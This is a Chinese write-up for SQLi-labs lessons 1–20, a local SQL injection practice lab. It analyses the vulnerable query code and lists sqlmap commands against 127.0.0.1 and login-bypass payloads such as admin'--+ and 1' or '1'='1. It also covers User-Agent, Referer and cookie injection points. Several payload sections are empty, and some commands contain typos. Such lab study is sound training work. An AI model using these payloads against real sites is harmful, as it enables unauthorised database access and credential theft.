SQLI-labs_01to20

Less-01

请求方式 注入类型 闭合方式
GET 联合、报错、布尔、延时 '

源码分析

# 拼接语句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

# 支持联合、报错、布尔盲注、延时盲注
if true:
    输出查询内容
else:
    print_r(mysql_error());

payload

SQLMap

# 联合查询
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3
# 报错
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=E -v 3
# 布尔
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=B -v 3
# 延时
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=T -v 3

Less-02

请求方式 注入类型 闭合方式
GET 联合、报错、布尔、延时 null

源码分析

# 拼接语句
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

# 支持联合、报错、布尔盲注、延时盲注
if true:
    输出查询内容
else:
    print_r(mysql_error());

payload

Less-03

请求方式 注入类型 闭合方式
GET 联合、报错、布尔、延时 ')

源码分析

# 拼接语句
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

# 支持联合、报错、布尔盲注、延时盲注
if true:
    输出查询内容
else:
    print_r(mysql_error());

payload

Less-04

请求方式 注入类型 闭合方式
GET 联合、报错、布尔、延时 ")

源码

# 先双引号,再括号拼接
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

# 支持联合、报错、布尔盲注、延时盲注
if true:
    输出查询内容
else:
    print_r(mysql_error());

payload

Less-05

请求方式 注入类型 闭合方式
GAT 报错、布尔、延时 '

源码

# 拼接语句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

# 支持报错、布尔盲注、延时盲注
if true:
    输出 You are in...........
    # 不输出查询结果,就没法使用联合查询注入了
else:
    print_r(mysql_error());

payload

Less-06

请求方式 注入类型 闭合方式
GET 报错、布尔、延时 "

payload

Less-07

请求方式 注入类型 闭合方式
GET 布尔、延时 '))

源码分析

# 拼接语句
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

# 支持布尔盲注、延时盲注
if true:
    输出 You are in.... Use outfile......
    # 作者提示 Use outfile ,说明存在数据导出漏洞
else:
    输出 You have an error in your SQL syntax
    # 报错内容也不输出了
  //print_r(mysql_error());

作者提示 Use outfile ,尝试数据导出,默认 outfile 是关闭状态的,需要手动开启, Docker 靶场理论上是已经开启的,进容器验证一下:

mysql -e "show global variables like '%secure%';"
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv |       |
+------------------+-------+
# ure_file_priv 的值为 null ,表示不允许导入、导出
# secure_file_priv 的值为 /tmp/ ,表示限制只能导入、导出在 /tmp/ 目录下
# secure_file_priv 的值为 空 时,表示不限制导入、导出路径

payload

数据导出

Less-08

请求方式 注入类型 闭合方式
GET 布尔、延时 '

payload

Less-09

请求方式 注入类型 闭合方式
GET 延时 '

源码分析

# 拼接语句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

# 输出只有一种了,这时就不存在布尔类型的返回,只能用延时型的注入
if true:
    输出 You are in............
else:
    输出 You are in...........

payload

Less-10

请求方式 注入类型 闭合方式
GAT 延时 "

源码分析

# 拼接语句
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

# 支持延时盲注
if true:
    输出 You are in............
else:
    输出 You are in...........

payload

Less-11

请求方式 注入类型 闭合方式
POST 联合、报错、布尔、延时 '

源码分析

# POST 方式接受变量
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];

# SQL 语句把 uname 和 passwd 放到了同一个语句中,只要保证语句能查询出结果即可,在前面的变量中加入注释,将后半段的注释内容给注释掉,能返回查询结果,同样通过构建永真也能保证语句正确查询到结果
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

# 仅判断有返回结果就输出查询信息,未进行判断和过虑
if true:
    输出查询的信息
else:
    print_r(mysql_error());

payload

万能密码

# 注释掉 passwd 来登录
uname=admin'--+&passwd=&submit=Submit
uname=admin'#&passwd=&submit=Submit

# 添加一个永真条件,并注释后面的内容
uname=admin&passwd=1' or 1--+&submit=Submit
uname=admin&passwd=1'||1--+&submit=Submit
uname=admin&passwd=1' or 1#&submit=Submit
uname=admin&passwd=1'||1#&submit=Submit

# 添加一个永真条件,并闭合后面语句
uname=admin&passwd=1'or'1'='1&submit=Submit
uname=admin&passwd=1'||'1'='1&submit=Submit

assets/Pasted image 20230202102256.png

SQLMap

通过 Burpsuite 截取请求包,将其保存到文本中

POST /Less-11/ HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://127.0.0.1:8888
Connection: close
Referer: http://127.0.0.1:8888/Less-11/
Upgrade-Insecure-Requests: 1

uname=admin&passwd=yyds&submit=Submit

使用 SQLMap 加载请求包,进行扫描

sqlmap -r postdata.txt

也可使用一下方式进行扫描

sqlmap -u "http://127.0.0.1:8888/Less-11/" --data="uname=admin&passwd=yyds&submit=Submit"
# 联合
sqlmap -u "http://127.0.0.1:8888/Less-11/" --data="uname=admin&passwd=yyds&submit=Submit" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=U -v 3
# 报错
sqlmap -u "http://127.0.0.1:8888/Less-11/" --data="uname=admin&passwd=yyds&submit=Submit" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=B -v 3
# 布尔
sqlmap -u "http://127.0.0.1:8888/Less-11/" --data="uname=admin&passwd=2333&submit=Submit" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=B -v 3
# 延时
sqlmap -u "http://127.0.0.1:8888/Less-11/" --data="uname=admin&passwd=2333&submit=Submit" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=T -v 3

Less-12

请求方式 注入类型 闭合方式
POST 联合、报错、布尔、延时 ")

payload

Less-13

请求方式 注入类型 闭合方式
POST 报错、布尔、延时 ')

源码分析

# POST 方式接受变量
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];

@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";

if true:
    并没有输出啥信息
    # 结果为真时不输出结果,联合查询注入没法用
else:
    print_r(mysql_error());

payload

Less-14

请求方式 注入类型 闭合方式
POST 报错、布尔、延时 "

源码分析

# 先使用双引号将语句拼接成字符串,再直接带入 SQL 语句
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
# 依旧是不输出查询结果
if true:
    并没有输出啥信息
    # 结果为真时不输出结果,联合查询注入没法用
else:
    print_r(mysql_error());

payload

Less-15

请求方式 注入类型 闭合方式
POST 布尔、延时 '

源码分析

# 报错返回信息被注释,报错注入失效

payload

Less-16

请求方式 注入类型 闭合方式
POST 布尔、延时 ")

payload

Less-17

请求方式 注入类型 闭合方式
POST 报错、布尔、延时 '

源码分析

# uname 参数被过滤了,但未对 passwd 进行过虑
$uname=check_input($_POST['uname']);  
$passwd=$_POST['passwd'];

# 查询语句只获取了 uname 参数,但有过虑
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

if select 结果正确:
    # 更新语句,直接调用了 passwd 参数,未进行过虑,这里不存在查询因此联合查询注入失效
    $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

    if mysql 报错:
            # 有报错返回
            print_r(mysql_error());

payload

Less-18

请求方式 注入类型 闭合方式
POST 报错、布尔、延时 ')

源码分析

# 获取请求的 User-Agent 和 IP
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];

if 输入了uname 和 passwd:
    # 对两个参数进行过滤
    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);

    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";

    if SQL语句有返回结果:
        # 将 User-Agent 和 IP 带入了 insert 语句,且未对这两个字段进行过虑
        $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
            输出 $uagent;
        print_r(mysql_error());
    else:
        print_r(mysql_error());

php 用以下方法获取 IP

由此,客户端不可伪造 IP ,这里就只能通过修改 User-Agent 进行注入,为保证 insert 语句的完整,注入注释会导致语句错误,因此构造一个永真语句。

payload

POST /Less-18/ HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://127.0.0.1:8888
Connection: close
Referer: http://127.0.0.1:8888/Less-18/
Upgrade-Insecure-Requests: 1

uname=admin&passwd=yyds&submit=Submit

Less-19

请求方式 注入类型 闭合方式
POST 报错、布尔、延时 ')

源码分析

# 获取请求的 Referer 和 IP
$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR'];

if 输入了uname 和 passwd:
    # 对两个参数进行过滤
    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);

    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";

    if SQL语句有返回结果:
        # 将 Referer 和 IP 带入了 insert 语句,且未对这两个字段进行过虑
        $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
        输出 $_SERVER['HTTP_REFERER']
        print_r(mysql_error());    
    else:
        print_r(mysql_error());    

同样不可通过客户端修改 IP ,注入点在 Referer。

payload

Less-20

请求方式 注入类型 闭合方式
POST 联合、报错、布尔、延时 '

源码分析

<?php
if cookie 中不存在 uname 参数:  
    输出一堆无用的信息
    if 提交了 uname 和 passwd:
        # 进行过滤
        $uname = check_input($_POST['uname']);
        $passwd = check_input($_POST['passwd']);

        $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
        $cookee = $row1['username'];
        if 有查询结果:
            # 将 uname 的值设置给 cookie 里面的 uname 参数
            setcookie('uname', $cookee, time()+3600);
        else:
            print_r(mysql_error());

else:
    if POST 数据里面没有 submit 参数:
        $cookee = $_COOKIE['uname'];

        # 直接将 cookee 通过单引号拼接到 SQL 语句中
        $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
        if 查询无结果:
            输出 mysql_error()
        if 有结果:
            输出查询的信息
    else:
        # 将 uname 的值设置给 cookie 里面的 uname 参数
        setcookie('uname', $row1['username'], time()-3600);
?>

payload

SQLMap

--level设置为 2 或更高时, SQLMap 会对 Cookie 进行 SQL 注入检测,可通过 * 手动标记注入点 --cookie="uname=admin*"

# 联合
sqlmap -u "http://127.0.0.1:8888/Less-20/" --cookie="uname=admin" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=U -v 3 --level=2
# 报错
sqlmap -u "http://127.0.0.1:8888/Less-20/" --cookie="uname=admin*"--dbms=MySQL --random-agent --flush-session --technique=E -v 3
# 布尔
sqlmap -u "http://127.0.0.1:8888/Less-20/" --cookie="uname=admin*"--dbms=MySQL --random-agent --flush-session --technique=B -v 3
# 延时
sqlmap -u "http://127.0.0.1:8888/Less-20/" --cookie="uname=admin*"--dbms=MySQL --random-agent --flush-session --technique=B -v 3